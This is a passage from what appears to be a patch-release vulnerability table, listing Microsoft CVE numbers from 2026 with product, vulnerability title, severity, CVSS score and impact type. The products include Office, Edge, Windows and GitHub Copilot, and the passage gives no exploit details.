Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information 